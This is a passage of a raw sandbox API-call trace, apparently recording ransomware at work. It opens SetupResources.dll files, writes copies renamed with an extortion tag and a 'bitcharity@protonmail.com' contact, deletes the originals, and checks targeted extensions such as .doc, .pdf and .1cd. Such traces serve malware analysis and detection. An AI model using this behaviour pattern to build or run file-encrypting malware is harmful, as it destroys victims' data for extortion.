liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.645] SetEndOfFile (hFile=0x10ac) returned 1 [0131.646] CloseHandle (hObject=0x10ac) returned 1 [0131.646] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.647] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0131.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.647] lstrlenW (lpString=".doc") returned 4 [0131.647] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.647] lstrlenW (lpString=".docx") returned 5 [0131.647] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.647] lstrlenW (lpString=".pdf") returned 4 [0131.647] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.647] lstrlenW (lpString=".xls") returned 4 [0131.647] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.647] lstrlenW (lpString=".xlsx") returned 5 [0131.647] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.647] lstrlenW (lpString=".ppt") returned 4 [0131.647] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.647] lstrlenW (lpString=".zip") returned 4 [0131.647] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.647] lstrlenW (lpString=".rar") returned 4 [0131.647] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.647] lstrlenW (lpString=".bz2") returned 4 [0131.647] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.648] lstrlenW (lpString=".7z") returned 3 [0131.648] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.648] lstrlenW (lpString=".dbf") returned 4 [0131.648] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.648] lstrlenW (lpString=".1cd") returned 4 [0131.648] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.648] lstrlenW (lpString=".jpg") returned 4 [0131.648] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.648] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.648] lstrlenW (lpString=".doc") returned 4 [0131.648] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.648] lstrlenW (lpString=".docx") returned 5 [0131.648] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.648] lstrlenW (lpString=".pdf") returned 4 [0131.648] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.648] lstrlenW (lpString=".xls") returned 4 [0131.648] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.648] lstrlenW (lpString=".xlsx") returned 5 [0131.649] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.649] lstrlenW (lpString=".ppt") returned 4 [0131.649] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.649] lstrlenW (lpString=".zip") returned 4 [0131.649] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.649] lstrlenW (lpString=".rar") returned 4 [0131.649] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.649] lstrlenW (lpString=".bz2") returned 4 [0131.649] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.649] lstrlenW (lpString=".7z") returned 3 [0131.649] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.649] lstrlenW (lpString=".dbf") returned 4 [0131.649] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.649] lstrlenW (lpString=".1cd") returned 4 [0131.649] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.649] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0131.649] lstrlenW (lpString=".jpg") returned 4 [0131.649] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.649] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.649] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.649] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.658] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=16728) returned 1 [0131.658] CloseHandle (hObject=0x1098) returned 1 [0131.658] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0131.659] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.659] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.659] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.659] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.659] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0131.725] GetLastError () returned 0x0 [0131.725] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4158, lpOverlapped=0x0) returned 1 [0131.803] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4160, lpOverlapped=0x0) returned 1 [0131.804] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.804] WriteFile (in: hFile=0x10b0, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0131.804] SetEndOfFile (hFile=0x10b0) returned 1 [0131.804] CloseHandle (hObject=0x10b0) returned 1 [0131.809] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.809] SetEndOfFile (hFile=0x1098) returned 1 [0131.814] CloseHandle (hObject=0x1098) returned 1 [0131.814] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0131.814] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0131.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.815] lstrlenW (lpString=".doc") returned 4 [0131.815] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.815] lstrlenW (lpString=".docx") returned 5 [0131.815] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.815] lstrlenW (lpString=".pdf") returned 4 [0131.815] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.815] lstrlenW (lpString=".xls") returned 4 [0131.815] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.815] lstrlenW (lpString=".xlsx") returned 5 [0131.815] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.815] lstrlenW (lpString=".ppt") returned 4 [0131.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.815] lstrlenW (lpString=".zip") returned 4 [0131.815] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.815] lstrlenW (lpString=".rar") returned 4 [0131.815] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.815] lstrlenW (lpString=".bz2") returned 4 [0131.815] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.816] lstrlenW (lpString=".7z") returned 3 [0131.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.816] lstrlenW (lpString=".dbf") returned 4 [0131.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.816] lstrlenW (lpString=".1cd") returned 4 [0131.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.816] lstrlenW (lpString=".jpg") returned 4 [0131.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.816] lstrlenW (lpString=".doc") returned 4 [0131.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0131.816] lstrlenW (lpString=".docx") returned 5 [0131.816] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0131.816] lstrlenW (lpString=".pdf") returned 4 [0131.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0131.816] lstrlenW (lpString=".xls") returned 4 [0131.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0131.816] lstrlenW (lpString=".xlsx") returned 5 [0131.816] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0131.816] lstrlenW (lpString=".ppt") returned 4 [0131.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0131.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.816] lstrlenW (lpString=".zip") returned 4 [0131.817] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0131.817] lstrlenW (lpString=".rar") returned 4 [0131.817] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0131.817] lstrlenW (lpString=".bz2") returned 4 [0131.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0131.817] lstrlenW (lpString=".7z") returned 3 [0131.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0131.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.817] lstrlenW (lpString=".dbf") returned 4 [0131.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0131.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.817] lstrlenW (lpString=".1cd") returned 4 [0131.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0131.817] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0131.817] lstrlenW (lpString=".jpg") returned 4 [0131.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0131.817] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0131.817] lstrlenW (lpString="SetupResources.dll") returned 18 [0131.817] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.818] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=15704) returned 1 [0131.818] CloseHandle (hObject=0x1098) returned 1 [0131.818] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0131.818] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0131.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0131.818] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.818] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.818] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0133.369] GetLastError () returned 0x0 [0133.369] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0133.476] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0133.477] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.477] WriteFile (in: hFile=0x103c, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0133.477] SetEndOfFile (hFile=0x103c) returned 1 [0133.477] CloseHandle (hObject=0x103c) returned 1 [0133.478] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.478] SetEndOfFile (hFile=0x1098) returned 1 [0133.479] CloseHandle (hObject=0x1098) returned 1 [0133.479] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0133.479] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0133.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.483] lstrlenW (lpString=".doc") returned 4 [0133.483] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.484] lstrlenW (lpString=".docx") returned 5 [0133.484] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0133.484] lstrlenW (lpString=".pdf") returned 4 [0133.484] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.484] lstrlenW (lpString=".xls") returned 4 [0133.484] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.484] lstrlenW (lpString=".xlsx") returned 5 [0133.484] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.484] lstrlenW (lpString=".ppt") returned 4 [0133.484] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.484] lstrlenW (lpString=".zip") returned 4 [0133.484] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.484] lstrlenW (lpString=".rar") returned 4 [0133.484] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.484] lstrlenW (lpString=".bz2") returned 4 [0133.484] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.484] lstrlenW (lpString=".7z") returned 3 [0133.484] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.484] lstrlenW (lpString=".dbf") returned 4 [0133.484] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.484] lstrlenW (lpString=".1cd") returned 4 [0133.484] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.484] lstrlenW (lpString=".jpg") returned 4 [0133.484] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.484] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.484] lstrlenW (lpString=".doc") returned 4 [0133.485] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0133.485] lstrlenW (lpString=".docx") returned 5 [0133.485] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0133.485] lstrlenW (lpString=".pdf") returned 4 [0133.485] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0133.485] lstrlenW (lpString=".xls") returned 4 [0133.485] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0133.485] lstrlenW (lpString=".xlsx") returned 5 [0133.485] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0133.485] lstrlenW (lpString=".ppt") returned 4 [0133.485] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0133.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.485] lstrlenW (lpString=".zip") returned 4 [0133.485] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0133.485] lstrlenW (lpString=".rar") returned 4 [0133.485] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0133.485] lstrlenW (lpString=".bz2") returned 4 [0133.485] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0133.485] lstrlenW (lpString=".7z") returned 3 [0133.485] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0133.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.485] lstrlenW (lpString=".dbf") returned 4 [0133.485] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0133.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.485] lstrlenW (lpString=".1cd") returned 4 [0133.485] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0133.485] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0133.485] lstrlenW (lpString=".jpg") returned 4 [0133.485] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0133.485] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0133.486] lstrlenW (lpString="SetupResources.dll") returned 18 [0133.486] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0133.486] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x2d0ff14 | out: lpFileSize=0x2d0ff14*=18264) returned 1 [0133.486] CloseHandle (hObject=0x1098) returned 1 [0133.486] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0133.486] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0133.486] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0133.486] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.487] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0134.603] GetLastError () returned 0x0 [0134.603] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x4758, lpOverlapped=0x0) returned 1 [0134.862] WriteFile (in: hFile=0x10bc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0x4760, lpOverlapped=0x0) returned 1 [0134.863] ReadFile (in: hFile=0x1098, lpBuffer=0x38ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d0fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesRead=0x2d0fecc*=0x0, lpOverlapped=0x0) returned 1 [0134.864] WriteFile (in: hFile=0x10bc, lpBuffer=0x38ca020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d0fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ca020*, lpNumberOfBytesWritten=0x2d0fc94*=0xf8, lpOverlapped=0x0) returned 1 [0134.864] SetEndOfFile (hFile=0x10bc) returned 1 [0134.864] CloseHandle (hObject=0x10bc) returned 1 [0134.865] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d0fec0 | out: lpNewFilePointer=0x0) returned 1 [0134.865] SetEndOfFile (hFile=0x1098) returned 1 [0134.866] CloseHandle (hObject=0x1098) returned 1 [0134.866] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x80) returned 1 [0134.866] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0134.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.867] lstrlenW (lpString=".doc") returned 4 [0134.867] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0134.867] lstrlenW (lpString=".docx") returned 5 [0134.867] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0134.867] lstrlenW (lpString=".pdf") returned 4 [0134.867] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0134.867] lstrlenW (lpString=".xls") returned 4 [0134.867] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0134.867] lstrlenW (lpString=".xlsx") returned 5 [0134.867] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0134.867] lstrlenW (lpString=".ppt") returned 4 [0134.867] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0134.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.867] lstrlenW (lpString=".zip") returned 4 [0134.867] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0134.867] lstrlenW (lpString=".rar") returned 4 [0134.867] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0134.868] lstrlenW (lpString=".bz2") returned 4 [0134.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0134.868] lstrlenW (lpString=".7z") returned 3 [0134.868] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0134.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.868] lstrlenW (lpString=".dbf") returned 4 [0134.868] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0134.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.868] lstrlenW (lpString=".1cd") returned 4 [0134.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0134.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0134.868] lstrlenW (lpString=".jpg") returned 4 [0134.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0134.868] lstrlenW 